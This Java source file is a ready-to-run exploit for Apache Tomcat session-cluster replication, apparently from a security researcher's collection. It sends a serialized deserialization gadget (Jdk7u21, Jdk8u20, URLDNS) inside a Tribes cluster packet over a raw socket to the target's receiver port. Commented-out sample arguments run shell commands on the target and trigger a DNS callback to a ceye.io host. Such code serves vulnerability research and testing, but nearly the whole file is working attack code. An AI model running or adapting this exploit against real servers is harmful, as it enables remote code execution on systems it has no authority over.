package com.threedr3am.bug.tomcat.sync.session;


import com.threedr3am.bug.tomcat.sync.session.payload.Payload;
import com.threedr3am.bug.tomcat.sync.session.payload.Payloads;
import com.threedr3am.bug.tomcat.sync.session.support.ChannelData;
import com.threedr3am.bug.tomcat.sync.session.support.MemberImpl;
import com.threedr3am.bug.tomcat.sync.session.support.XByteBuffer;
import com.threedr3am.bug.tomcat.sync.session.utils.Serializer;
import java.net.Socket;
import java.util.Arrays;


/**
 * todo 当tomcat使用了cluster功能共享session时，若同步端点可被访问，即可发生恶意序列化数据进行RCE
 *
 * conf/server.xml
 *
 *      <Cluster className="org.apache.catalina.ha.tcp.SimpleTcpCluster"
 *         channelSendOptions="6">
 *
 *         <Manager className="org.apache.catalina.ha.session.BackupManager"
 *           expireSessionsOnShutdown="false"
 *           notifyListenersOnReplication="true"
 *           mapSendOptions="6"/>
 *
 *
 *         <Channel className="org.apache.catalina.tribes.group.GroupChannel">
 *           <Membership className="org.apache.catalina.tribes.membership.McastService"
 *             address="228.0.0.4"
 *             port="45564"
 *             frequency="500"
 *             dropTime="3000"/>
 *           <Receiver className="org.apache.catalina.tribes.transport.nio.NioReceiver"
 *             address="auto"
 *             port="5000"
 *             selectorTimeout="100"
 *             maxThreads="6"/>
 *
 *           <Sender className="org.apache.catalina.tribes.transport.ReplicationTransmitter">
 *             <Transport className="org.apache.catalina.tribes.transport.nio.PooledParallelSender"/>
 *           </Sender>
 *         </Channel>
 *
 *         <Valve className="org.apache.catalina.ha.tcp.ReplicationValve"
 *           filter=".*\.gif;.*\.js;.*\.jpg;.*\.png;.*\.htm;.*\.html;.*\.css;.*\.txt;"/>
 *
 *         <Deployer className="org.apache.catalina.ha.deploy.FarmWarDeployer"
 *           tempDir="/tmp/war-temp/"
 *           deployDir="/tmp/war-deploy/"
 *           watchDir="/tmp/war-listen/"
 *           watchEnabled="false"/>
 *
 *         <ClusterListener className="org.apache.catalina.ha.session.ClusterSessionListener"/>
 *       </Cluster>
 *
 * @author threedr3am
 *
 */
public class TomcatSessionClusterExploit {

    public static final void main ( String[] args ) throws Exception {
//        args = new String[] {"127.0.0.1", "20000", "Jdk7u21" ,"/bin/bash", "-c", "touch /tmp/11111"};
//        args = new String[] {"127.0.0.1", "20000", "Jdk8u20" ,"/bin/bash", "-c", "touch /tmp/11111"};
//        args = new String[] {"127.0.0.1", "20000", "Jdk8u20" ,"/bin/bash", "-c", "/System/Applications/Calculator.app/Contents/MacOS/Calculator"};
//        args = new String[] {"127.0.0.1", "20000", "URLDNS", "http://tomcat.xxxxx.ceye.io"};
        if ( args.length < 4 ) {
            System.err.println(TomcatSessionClusterExploit.class.getName() + " <tomcat_ip> <tomcat_receive_port> <payload_type> <payload_arg>");
            System.exit(-1);
        }
        Class<? extends Payload> c = Payloads.valueOf(args[2]).getClazz();
        final Object payloadObject = c.newInstance().getObject(Arrays.copyOfRange(args, 3, args.length));
        byte[] ser = payloadObject instanceof byte[] ? (byte[]) payloadObject : Serializer.serialize(payloadObject);

        ChannelData data = new ChannelData(true);//generates a unique Id
        data.setAddress(new MemberImpl("127.0.0.1", 11111, 1000));
        data.setTimestamp(System.currentTimeMillis());
        XByteBuffer xByteBuffer = new XByteBuffer(ser.length, false);
        xByteBuffer.append(ser, 0, ser.length);
        data.setMessage(xByteBuffer);
        ser = XByteBuffer.createDataPackage(data);

        Socket socket = new Socket(args[0], Integer.parseInt(args[1]));
        socket.getOutputStream().write(ser);
        socket.getOutputStream().close();
    }
}
